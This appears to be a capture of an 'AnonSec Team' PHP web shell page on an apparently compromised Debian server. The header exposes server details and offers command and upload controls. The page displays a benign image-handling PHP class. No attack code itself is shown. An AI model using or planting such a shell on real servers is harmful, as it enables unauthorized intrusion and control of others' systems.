AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.223
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ifk/web/protected/Common/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ifk/web/protected/Common/KImageManager.php
<?php

class KImageManager extends TComponent {

	public static function openImage($filename) 
	{
		$imageinfo = getimagesize($filename);
		
		switch($imageinfo[2]) {
			case IMAGETYPE_GIF: $image = imagecreatefromgif($filename); break;
			case IMAGETYPE_JPEG: $image = imagecreatefromjpeg($filename); break;
			case IMAGETYPE_PNG: $image = imagecreatefrompng($filename); break;
			default: return false;
		}
		return $image;
	}

	public static function refineImage($image, $image_type) 
	{
		if (!$image_type->isValidImageType)
			throw new TInvalidDataValueException("KImageManager->RefineImage: invalid 'image_type'");
			
		$width = imagesx($image);
		$height = imagesy($image);
			
		
		if ((int)$image_type->Width === -1 || (int)$image_type->Height === -1) {
			$new_width = $width;
			$new_height = $height;
		} else {
			$max_width = $image_type->Width; 
			$max_height = $image_type->Height; 
			$ratioH = $max_height/$height;
			$ratioW = $max_width/$width;
			$ratio = min($ratioH, $ratioW);
			$new_width = $ratio * $width;
			$new_height = $ratio * $height;
		}
		
		$dest_image = imagecreatetruecolor($new_width, $new_height);
		imagecopyresampled($dest_image, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

		/*$sharpenMatrix = array( array( -1, -1, -1 ), array( -1, 16, -1 ), array( -1, -1, -1 ) );
		$divisor = 8;
		$offset = 0;
		imageconvolution($dest_image, $sharpenMatrix, $divisor, $offset);*/
		
		return $dest_image;
	}
	
	public static function cropImage($image, $x1, $y1, $x2, $y2) 
	{
		$cropped = imagecreatetruecolor($x2-$x1, $y2-$y1);
		imagecopy($cropped, $image, 0, 0, $x1, $y1, $x2-$x1, $y2-$y1);
		return $cropped;
	}
	
	public static function saveImage($image, $filename) 
	{
		imagejpeg($image, $filename, 100);
	}
	
}
?>

AnonSec - 2021